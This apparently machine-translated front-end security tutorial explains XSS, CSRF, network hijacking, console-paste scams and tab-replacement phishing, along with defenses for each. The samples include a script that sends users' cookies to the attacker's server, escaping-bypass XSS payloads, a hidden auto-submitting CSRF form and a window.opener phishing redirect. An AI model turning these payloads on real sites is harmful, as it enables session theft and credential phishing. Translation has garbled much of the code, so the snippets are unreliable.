Welcome to the Chat Series, a series of articles designed to help front-end engineers understand all aspects of the front end (not just code) :

segmentfault.com/blog…

With the development of the Internet, all kinds of WEB applications are becoming more and more complex to meet the needs of users, but then comes a variety of network security problems. As front end engineers, we are not immune to this problem. So today, LET’s talk about the security of the WEB front end. I will not talk about the backend attacks (SQL injection, DDOS attacks, etc.), after all, the whole WEB security is a deep knowledge, not I can finish the whole article.

Why attack?

In fact, the real mentality to play black site people, or a few. There is an element of profit in most attacks. I vaguely remember that when I was in class before, I heard the big bull of Tencent say something like this: it is impossible for developers to ensure that their applications can never be attacked, but hackers will not attack as long as the cost of attacking us is far greater than the benefits they can obtain. Prevention is strong such as Alipay, QQ and other products, have also been reported vulnerabilities, it seems that defense is not absolute, we can only improve our safety index.

What are the forms of front-end attacks and how can I defend against them?

1 XSS attacks

What is 1.1?

From Baidu.com:

XSS is a computer security vulnerability commonly found in Web applications that allows malicious Web users to insert code into pages intended for use by other users.

In fact, the Web front end can be simply understood as a javascript code injection. For example, if we have a social networking site that allows people to visit each other’s space, the site might do something like this:

<? PHP $username=" PHP "; ? > <! DOCYTPE HTML> < HTML> <head> <meta charset=" utF-8 "/> </head> <body> <div> php echo $username; ? > </div> <div> First state: Doctor Hou's state 1 </div> <div> Second state: Doctor Hou's state 2 </div> <div> Third state: Doctor Hou's state 3 </div> </body> </ HTML >Copy the code

When running, the display form is shown in Figure 1.1.1:

Figure 1.1.1

But what if your username, when you name it, comes with a script tag? If your user name contains a script tag, you can execute the javascript code in it.

The code is as follows, and the effect is shown in Figure 1.1.2

<? PHP $username="<script>alert(' doctor '); </script>"; ? >Copy the code

Figure 1.1.2

If you set your username to execute the script in this way, and then let others access your connection, you can achieve the effect of executing your own script in someone else’s Web environment. We can also use Ajax to retrieve cookies from other users under the current domain name and send them to our own server. So you can get information about people. For example, instead of using alert, we used the following code:

$. Ajax ({url: 'own server ', dataType: 'jsonp', data: {' theft user cookie': document.cookie}});Copy the code

Then in each QQ group, spread their own space, lure others to visit. You can get cookies or other privacy information from the user under the domain name.

1.2 How to Prevent it?

At present, the simplest way to prevent and control, or the front-end output data are escaped the most reliable. For example, in our example, the essence is that when the browser encounters a script tag, it executes the script within it. However, if we escape the script tag, the browser will not consider it as a tag, but when displaying it, it will still display it in the normal way, the code is as follows, and the effect is shown in Figure 1.2.1

<? PHP $username="<script>alert(' doctor '); </script>"; ? > <! DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <! <div> user name: <? php echo htmlentities($username); ? > </div> <div> First state: Doctor Hou's state 1 </div> <div> Second state: Doctor Hou's state 2 </div> <div> Third state: Doctor Hou's state 3 </div> </body> </ HTML >Copy the code

Figure 1.2.1

Actually, let’s look at the source code of the web page again, as shown in Figure 1.2.2

Figure 1.2.2

In fact, the Angle brackets (><) inside the script tag are escaped as HTML character entities, so they are not parsed as tags. In practice, the Angle brackets are displayed as normal.

1.3 Upgrade Attacks

1.3.1 Utilization of append

In the previous section, we prevented the left and right Angle brackets of the script tag, blue goose. Clever hackers had a clever way of doing this. We know that assigning a js to innerHTML directly cannot be executed. For instance,

$('div').innerHTML = '<script>alert("okok"); </script>';Copy the code

Jquery append, however, can do this because jquery finds the script tag inside the append element as a fragment and executes it using Eval. The way it is used is innerHTML(see Figure 1.3.1.1). InnerHTML converts unicode codes into character entities.

Figure 1.3.1.1

Using the combination of these two knowledge, we can conclude that the site uses append for DOM manipulation. If the field is append we can determine, then we can disguise the left and right Angle brackets with Unicode code, so that when escaped, they will be missed, and when append, they will be called again. The code is as follows, and the effect is shown in Figure 1.3.1.2

<? php $username="\u003cscript\u003ealert('okok');" ; ? > <! DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script SRC = "https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js" > < / script > < / head > PHP echo htmlentities($username); ? > </div> <div> First status: Dr. Hou's status 1 </div> <div> Second status: Dr. Hou's status 2 </div> <div> Third status: Dr. Hou's status 3 </div> <div> All rights reserved: <span id="username_info"></span></div> <script> $('#username_info').append("<? php echo htmlentities($username); ? > "); </script> </body> </html>Copy the code

Figure 1.3.1.2

As you can see, the injected code will be executed again despite the escape.

1.3.2 Reuse of the IMG tag

Here’s another attack, img tag tips.

The —–img tag calls the onError event on this element when an image fails to load. That’s exactly what we can use to attack. Let’s take a look at what a normal user does when they share an image. The code is shown in Figure 1.3.2.1

<? PHP $username="<script>alert(' doctor '); </script>"; $imgsrc = "HTTP: / / http://img5.imgtn.bdimg.com/it/u=1412369044, & gp = 0. 967882675 & FM = 11 JPG"; ? > <! DOCYTPE HTML> < HTML> <head> <meta charset=" utF-8 "/> </head> <body> <div> php echo htmlentities($username); ? > </div> <div> <img SRC ="<? php echo $imgsrc; ? >" /> </div> <div>Copy the code

Figure 1.3.2.1

But what if the address of this picture were written differently?

<? PHP $imgsrc="\" onerror=\"javascript:alert(' Doctor Marquis '); \ ""; ? >Copy the code

Let’s take a look at the assembled HTML source, as shown in Figure 1.3.2.2:

Figure 1.3.2.2

At this point, the source code is changed to — SRC is empty, but when onerror occurs, the injection code is executed. We refresh the view page and see that the code injection has been successful, as shown in Figure 1.3.2.3:

Figure 1.3.2.3

See officer you may say, again escape bai. Yes, the old routine, we continue to escape – you this problem ah, even if cured (old Chinese medicine tone).

<img src="<? php echo htmlentities($imgsrc); ? > "/ >Copy the code

Well, it’s finally back to normal, as shown in Figure 1.3.2.4.

Figure 1.3.2.4

1.3.3 Combination

But… The innerHTML script tag is not executed, as we said earlier. The innerHTML script tag is not executed. But assigning the innerHTML to an IMG tag is recognized. The img tag’s left and right Angle brackets are camouflaged in Unicode so that the escape method doesn’t recognize them, and even the innerHTML can be used, as shown in Figure 1.3.3.1

<? php $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\'); \u003e"; ? > <! DOCYTPE HTML> < HTML> <head> <meta charset=" utF-8 "/> </head> <body> <div> php echo htmlentities($username); ? > </div> <div> First status: Dr. Hou's status 1 </div> <div> Second status: Dr. Hou's status 2 </div> <div> Third status: Dr. Hou's status 3 </div> <div> All rights reserved: <span id="username_info"></span></div> <script> document.getElementById('username_info').innerHTML = "<? php echo htmlentities($username); ? > "; </script> </body> </html>Copy the code

Figure 1.3.3.1

That way, innerHTML can be used to break through again.

1.4 Defense Upgrade

It looks like we’ll need another defense upgrade, and we’ll escape the \ backslash in the output string (json escape). In this way, \ is not treated as the beginning of a Unicode code. The code is as follows:

document.getElementById('username_info').innerHTML = <? php echo json_encode(htmlentities($username)); ? >;Copy the code

Generate the source code, as shown in Figure 1.4.1

Figure 1.4.1

The effect is shown in Figure 1.4.2

Figure 1.4.2

1.5xSS upgrade

If you think you can defend the backend output, then hackers can’t attack it. We sometimes have the habit of taking the GET parameter from the URL and building the page. For example, just take the username on the URL and display it, take some backhops on the URL and so on. But parameters on the URL, we can’t escape them in advance. Here is an example:

<html> <head> <meta charset="utf-8" /> <script SRC = "https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js" > < / script > < / head > PHP echo htmlentities($username); ? > </div> <div> First status: Dr. Hou's status 1 </div> <div> Second status: Dr. Hou's status 2 </div> <div> Third status: Dr. Hou's status 3 </div> <div> All rights reserved: <span id="username_info"></span></div> <script> var param = /=(.+)$/.exec(location.search); var value = decodeURIComponent(param[1]); $('#username_info').append(value); </script> </body> </html>Copy the code

The code above satisfies a perfectly normal requirement to unwrap a parameter in the URL and render it to the page. However, there is a risk that if a hacker adds JS code to the URL parameter, it will be executed again (see Figure 1.5.1).

Figure 1.5.1

1.6 Defense Is upgraded again

For information like this obtained from URL, the author suggests that it is best to obtain it from the back end and then output it after the front-end escape. The code is as follows, and the effect is shown in Figure 1.6.1

<script> var value = decodeURIComponent("<? php echo htmlentities($_GET['username']); ? > "); $('#username_info').append(value); </script>Copy the code

Figure 1.6.1

Be careful when using parameters in urls, and never eval them.

1.7 Protect your cookies

If unfortunately, the hacker’s JS really executed on our web page, how do we change. In fact, most of the time, our sensitive information is stored in cookies (do not put user confidential information in the web page), we want to prevent hackers from accessing the sensitive user information in cookies through JS. Then please use the HttpOnly attribute of cookie, add this attribute cookie field, JS cannot read and write. The PHP setup is as follows:

<? php setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE); ? >Copy the code

As shown in Figure 1.7.1, our cookie is planted and has an httpOnly identity

Figure 1.7.1

As shown in Figure 1.7.2, we cannot obtain the httpOnly field in the cookie through JS:

Figure 1.7.2

Anyway, there are a lot of XSS upgrade attacks, if you are interested, you can study them yourself. (Don’t do bad things)

2 CSRF attacks

2.1 What is a CSRF attack?

CSRF attack in Baidu Is explained as follows:

CSRF (Cross-site request Forgery), also known as One Click Attack or Session Riding, is a malicious exploitation of a website.

In fact, some of the submission behavior in the website is used by the hacker. When you visit the hacker’s website, the operation will be operated to other websites (such as the website of the network bank you use).

2.2 How Can I Attack?

2.2.1 Make proper use of POST and GET

Usually we make get requests for data that should be submitted to save trouble. However, this is not only a violation of HTTP standards, but also can be used by hackers.

For example, let’s say you develop a website that has an operation to buy goods. Here’s how you developed it:

<? $username = $_COOKIE['username']; $username = $_COOKIE['username']; $productId = $_GET['pid']; //store_into_database($username, $productId); ? > <meta charset="utf-8" /> <? PHP echo $username. '. $productId; ? >Copy the code

The commodity ID diagram saves the hassle by using the GET parameter in the URL. For goods, see figure 2.2.1.1

Figure 2.2.1.1

Well, hacker websites can be developed like this:

<! DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <img src="http://localhost:8082/lab/xsrflab/submit.php? pid=1" /> </body> </html>Copy the code

In this way, the user only needs to visit the hacker’s site once, in fact, in your site, operation. But the user doesn’t perceive it. As shown in Figure 2.2.1.2:

Figure 2.2.1.2

So, our daily development, or to follow the submission business, strictly in accordance with post requests to do. Don’t use JSONP to do the commit interface, this is very dangerous.

2.2.2 XSRF Attack Upgrade

If you are using POST requests for critical business purposes, there are ways to hack it. Our business code is as follows:

<? php $username = $_COOKIE['username']; $productId = $_POST['pid']; //store_into_database($username, $productId); ? > <meta charset="utf-8" /> <? PHP echo $username. '. $productId; ? >Copy the code

The hacker code is as follows:

<! DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script SRC = "https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js" > < / script > < / head > </button> <script> $('#clickme'). On ('click', function () { The server will think it was submitted by the user. $('#myform').submit(); }); </script> <form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php"> <input type="hidden" name="pid" value="1"> </form> <iframe name="myformer" style="display:none;" ></iframe> </body> </html>Copy the code

The effect is shown in Figure 2.2.2.1

Figure 2.2.2.1

After clicking, the user submits without even knowing it. How do you defend against this?

The easiest way to do this is to add a verification code, so that the hacker’s website can’t get the user’s verification code for this session except for the user. But this will also reduce the user’s submission experience, especially for some frequent operations, if the user always input the verification code, the user will also be very annoyed.

The other way is to plant token for authentication in all the pages accessed by users, and all the submissions of users must carry the token generated in this page. The essence of this way is no different from the use of verification code, but in this way, the same token is used in each session of the whole page, and many POST operations. The developer can automatically carry the token of the current page. If the token check fails, it proves that the submission is not sent from the website, and the submission process is terminated. If the token is actually generated for this site, it can pass.

The code is as follows, and the defense effect is shown in Figure 2.2.2.2

<? php $username = $_COOKIE['username']; $productId = $_POST['pid']; $token=$_POST['token']; Function check_token($token) {if ($token==='doctorhou-shuai') {return true; } return false; } if (! Check_token ($token)) {// If the check fails, abort return; //store_into_database($username, $productId); ? > <meta charset="utf-8" /> <? PHP echo $username. '. $productId; ? >Copy the code

Figure 2.2.2.2

As shown in the figure above, if the token generated by each session of this site is not carried, the submission fails.

The website forms of this site will automatically carry the tokens generated by this site

<? PHP function token_creater() {return 'doctorhou-shuai'; }? > <! DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script SRC = "https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js" > < / script > < / head > The < body > < form id = "myform" target = "myformer method =" post "action =" http://localhost:8082/lab/xsrflab/submit.php "> name of commodity: <input name="pid" value="1"> <input type="hidden" name="token" value="<?php echo token_creater(); ? >" /> < form> <iframe name="myformer" style="display:none; ></iframe> </body> </html>Copy the code

If you submit again using the webpage of this site, it will pass, as shown in Figure 2.2.2.3:

Figure 2.2.2.3

Of course, the above is just an example, the specific token generation must be changed according to the session and user ID, if you think your website also needs to add a token, please search for further study.

3 Network hijacking attacks

Most of the time, our website is not directly accessed to our server, the middle will go through many layers of proxy, if in a certain link, the data is intercepted by the hijacker of the intermediate proxy layer, they can obtain the password of the user using your website and other confidential data. For example, our users often connect to some weird wifi in various restaurants. If the wifi is a hotspot set up by a hacker, then the hacker can access all the data sent and received by the user. Here, it is suggested that webmaster sites are encrypted using HTTPS. That way, even if the site’s data can be accessed, hackers can’t unlock it.

If your site isn’t already HTTPS encrypted, it’s best to have asymmetric encryption — client-side encryption that only the server can unlock — in the form submission section. So the hijackers in the middle can’t access the encrypted content.

4 Console injection code

I wonder if you have noticed the warning information on the console on Tmall’s official website, as shown in Figure 4.1. Why is this? Because some hackers will lure users to console paste contents (bully small white users don’t understand the code), such as what kind of articles in the circle of friends to stick, said: “as long as access Tmall, press F12 and paste the following content, you can obtain xx yuan gift”, so some users really will go to the operation, and their privacy being exposed the also don’t know.

Figure 4.1

Tmall this practice, is also warning users not to do so, it seems that Tmall’s front-end security is also very in place. However, this attack is a minority, so you look at the officer on the line, if really found that some users will be attacked in this way, remember to think of the tmall solution.

5 fishing

Fishing is a very old attack, not really a front end attack. After all, it’s a page-level attack, so let’s talk about it. I believe many people will have such experience, QQ group inside someone hair what part-time job, what oneself want to go abroad house car sale, details in my QQ space, such as the connection. Open after the discovery of a QQ login box, in fact, a look at the domain name will know that is not QQ, but do very like QQ login, unknown users, really put the user name and password input, the result did not log in to QQ, user name and password but sent to the person in the past.

Actually this kind of way, also have use in front end. Now, let’s try using the front end for a realistic fishing.

1. Firstly, we share an article in xx space and attract others to click on it. The effect is shown in Figure 5.1.1

<! DOCYTPE HTML> < HTML> <head> <meta charset=" UTF-8 "/> </head> <body> <div> Our class then class flower, now long like this: <! Fishing - this is our website - > < a href = "http://localhost:8082/lab/fish/cheat.php" target = "_blank" > point I see < / a > < / section > < / body > < / HTML >Copy the code

Figure 5.1.1

2 Then, on the cheat. PHP website, we will jump to the source page address to modify quietly. The effect is shown in Figure 5.2.1

<! DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script SRC = "https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js" > < / script > < / head > <body> Information you want to see: // Without the user's knowledge, To address the source of the jump page replacement Windows. Opener. The location = 'http://localhost:8082/lab/fish/myfishsite.php'; </script> </body> </html>Copy the code

So, after the user visited our cheat site, the previous TAB has been quietly changed, we quietly replaced it with a phishing site, tricking the user into entering a username, password, etc.

Figure 5.2.1

3. Our phishing website, disguised as XX space, allows users to input user name and password, as shown in Figure 5.3.1

Figure 5.3.1

This kind of phishing is interesting, but the point is that it’s hard to defend against this kind of attack. We can’t open all the page links using JS. So, either change the link of the external link to the current page jump, or give users hints when the page unload, or change all the page jumps to window.open, when opened, the same as most of the fishing prevention and control point is that we need users to improve security awareness.

What should we pay attention to in normal development?

  1. Be wary of user-generated content and layer upon layer of user input

  2. Be careful to filter the user’s output (escape, etc.)

  3. Encrypt important content (whether using HTTPS or encrypt it yourself)

  4. Get request and POST request, strictly follow the specification, do not mix, do not use jSONP for dangerous commit.

  5. Use caution with the information carried on the URL.

  6. Keep in mind where your site might be at risk.

After all, Web security is a big area, and if you need to understand it, you need to study it. I hope this article can raise the security awareness of all developers.

In the next post, I’ll talk to readers about web graphics. Stay tuned and follow me at…..

If you enjoyed this article, please click on the recommendations below, and your recommendations will motivate me to continue writing.

The above content only represents the author’s personal opinion, if you have any opinion, please inform the author.